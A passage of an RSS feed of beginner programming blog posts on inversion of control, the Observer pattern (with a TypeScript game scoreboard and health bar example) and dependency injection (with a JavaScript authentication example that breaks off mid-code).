&lt;p&gt;&lt;strong&gt;Unit testing and validation&lt;/strong&gt;: To ensure the reliability and correctness of the backend code, it should be thoroughly tested with unit tests and validated against various use cases.&lt;/p&gt;

&lt;p&gt;Share your thought in case I miss any. I am willing to learn.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Inversion of Control Made Simple: Elevate Your Understanding</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Sat, 29 Jul 2023 22:40:52 +0000</pubDate>
      <link>https://forem.com/walosha/inversion-of-control-4423</link>
      <guid>https://forem.com/walosha/inversion-of-control-4423</guid>
      <description>&lt;p&gt;Inversion of control is a big and complicated concept that even some Senior developers struggle to fully understand. But I'll do my best to explain it in the best possible way for you to understand, teach and see its application.&lt;/p&gt;

&lt;p&gt;When all have a home of our own. We need water and power. We have two options we create power ourselves and make a borehole or we outsource to another body only responsibility is that and does it well. &lt;/p&gt;

&lt;p&gt;In the case of power we rely on Power Holding company of Nigeria and for water we rely on Nigeria water cooperation to provide that for us.&lt;/p&gt;

&lt;p&gt;In the example, the control of providing power and water is moved to third-party organizations, which are responsible for generating power and providing water. This allows the homeowners to focus on their own needs without worrying about the technical details of how power or water is generated or distributed&lt;/p&gt;

&lt;p&gt;That's kind of inversion of control. You're the one who wants something, but you're not the one doing all the work to get it. You're relying on someone or an organization else to help you out.&lt;/p&gt;

&lt;p&gt;In software development, inversion of control (IoC) is a design pattern that allows different parts of a program to work together in a more flexible and maintainable way. It's a way of designing software so that instead of one part of the program being responsible for everything, different parts can work together in a more decentralized way.&lt;/p&gt;

&lt;p&gt;IoC works by inverting the usual control flow between different parts of a program. In a traditional program, each part of the program is responsible for calling other parts of the program when it needs them. This can lead to tight coupling between different parts of the program, which can make it hard to change or replace parts of the program without affecting other parts.&lt;/p&gt;

&lt;p&gt;With IoC, the control flow is inverted so that the parts of the program that are responsible for providing services or resources (known as "providers") are called by the parts of the program that need those services or resources (known as "consumers"). This means that the providers don't need to know about the consumers, which makes the program more modular and easier to change or replace.&lt;/p&gt;

&lt;p&gt;In computer programming, inversion of control is a way of designing programs so that different parts of the program can work together without any one part having to do everything by itself. Instead of one part of the program doing everything, it asks other parts of the program to help out.&lt;/p&gt;

&lt;p&gt;So just like how you rely on mommy or daddy to help you get what you want sometimes, different parts of a program rely on each other to get things done. And that's inversion of control!&lt;/p&gt;

&lt;p&gt;There are many different ways to implement IoC in software development, such as using dependency injection, service locators, or the observer pattern. The specific implementation depends on the programming language and framework being used.&lt;/p&gt;

&lt;p&gt;Overall, inversion of control is a powerful design pattern that can help make software development more flexible, maintainable, and modular. By inverting the control flow between different parts of a program, IoC can help reduce tight coupling and make it easier to change or replace different parts of the program as needed.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Observer pattern in the context of a Game App</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Tue, 13 Jun 2023 21:55:04 +0000</pubDate>
      <link>https://forem.com/walosha/observer-pattern-in-the-context-of-a-game-app-5gck</link>
      <guid>https://forem.com/walosha/observer-pattern-in-the-context-of-a-game-app-5gck</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fioiofeao9i6ygyush8r4.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fioiofeao9i6ygyush8r4.jpg" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Observer pattern is a design pattern that allows objects to be notified of changes to the state of another object, called the "subject." In the context of a game app, this could be used to notify different game components (such as scoreboards, health bars, etc.) when the game's state changes (such as when the player collects a power-up or takes damage).&lt;/p&gt;

&lt;p&gt;Here's an example TypeScript code snippet that illustrates the Observer pattern in a game app:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;Subject&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;registerObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Observer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;removeObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Observer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;notifyObservers&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;Observer&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;health&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Game&lt;/span&gt; &lt;span class="k"&gt;implements&lt;/span&gt; &lt;span class="nx"&gt;Subject&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;health&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;observers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Observer&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

  &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;registerObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Observer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;observers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;removeObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Observer&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;observers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;observers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;splice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;notifyObservers&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;observer&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;observers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;observer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;health&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;collectPowerUp&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;notifyObservers&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;takeDamage&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;health&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;notifyObservers&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Scoreboard&lt;/span&gt; &lt;span class="k"&gt;implements&lt;/span&gt; &lt;span class="nx"&gt;Observer&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;health&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Score: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;HealthBar&lt;/span&gt; &lt;span class="k"&gt;implements&lt;/span&gt; &lt;span class="nx"&gt;Observer&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;health&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;score&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;health&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;health&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;health&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Health: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;health&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Usage&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;game&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Game&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;scoreboard&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Scoreboard&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;healthBar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HealthBar&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;registerObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scoreboard&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;registerObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;healthBar&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;collectPowerUp&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Logs "Score: 10"&lt;/span&gt;
&lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;takeDamage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Logs "Health: 90"&lt;/span&gt;

&lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;healthBar&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;game&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;collectPowerUp&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Logs "Score: 20" (only the Scoreboard is notified)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, the Game class is the subject, which maintains the state of the game (score and health) and notifies its observers when the state changes. The Scoreboard and HealthBar classes are observers that listen for changes to the game state and update their respective displays accordingly.&lt;/p&gt;

&lt;p&gt;When the collectPowerUp method is called on the Game instance, it increases the score and notifies all observers by calling notifyObservers. Similarly, when the takeDamage method is called, it decreases the health and notifies all observers.&lt;/p&gt;

&lt;p&gt;The Scoreboard and HealthBar instances both implement the Observer interface, which requires them to have an update method that takes in the current score and health values. When they receive an update from the Game instance, they update their own internal state and call render to update their display.&lt;/p&gt;

&lt;p&gt;Finally, we can see that we can remove an observer by calling removeObserver on the Game instance, and the removed observer will no longer be notified of updates.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Dependency Injection Pattern ( For beginners)</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Sun, 28 May 2023 00:17:51 +0000</pubDate>
      <link>https://forem.com/walosha/dependency-injection-pattern-for-beginners-3nc4</link>
      <guid>https://forem.com/walosha/dependency-injection-pattern-for-beginners-3nc4</guid>
      <description>&lt;p&gt;Dependency injection is a design pattern used in software development to manage dependencies between components of an application. In a nutshell, it's a way to organize code so that the dependencies between different parts of the system are clearly defined and managed. The basic idea behind dependency injection is to pass dependencies into a component, rather than having the component create them itself.&lt;/p&gt;

&lt;p&gt;There are several libraries and frameworks in JavaScript that use dependency injection (DI) to manage object creation and dependencies. Here are a few examples:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Angular&lt;/strong&gt;: Angular is a popular framework for building web applications in TypeScript. It uses a hierarchical injector system to manage object creation and dependency injection. Angular provides a built-in @Injectable decorator that can be used to annotate classes as injectable services.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Awilix&lt;/strong&gt;: Awilix is a lightweight dependency injection container for Node.js applications. It provides a fluent API for declaring dependencies and supports both constructor injection and property injection. Awilix also supports middleware-style dependency injection, which can be useful for managing complex application workflows.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;NestJS&lt;/strong&gt;: NestJS is a progressive Node.js framework for building scalable and maintainable web applications. It uses a modular architecture based on Angular's DI system to manage object creation and dependency injection. NestJS provides a built-in @Injectable decorator for declaring injectable services and supports a variety of injection patterns.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Using Dependency Injection in an authentication system&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let's take an authentication system as an example. In a typical authentication system, you might have a number of different components that need to interact with each other, such as a user model, a password hasher, and a session manager. Rather than having each component create its own dependencies, we can use dependency injection to pass them in from outside.&lt;/p&gt;

&lt;p&gt;Here's an example implementation of an authentication system in JavaScript using dependency injection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;passwordHash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;passwordHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;passwordHash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;PasswordHasher&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Hash the password using some algorithm&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hashed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;SessionManager&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;startSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Create a new session for the user&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;session_token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;endSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// End the user's session&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;Authenticator&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userModel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;passwordHasher&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;sessionManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userModel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userModel&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;passwordHasher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;passwordHasher&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
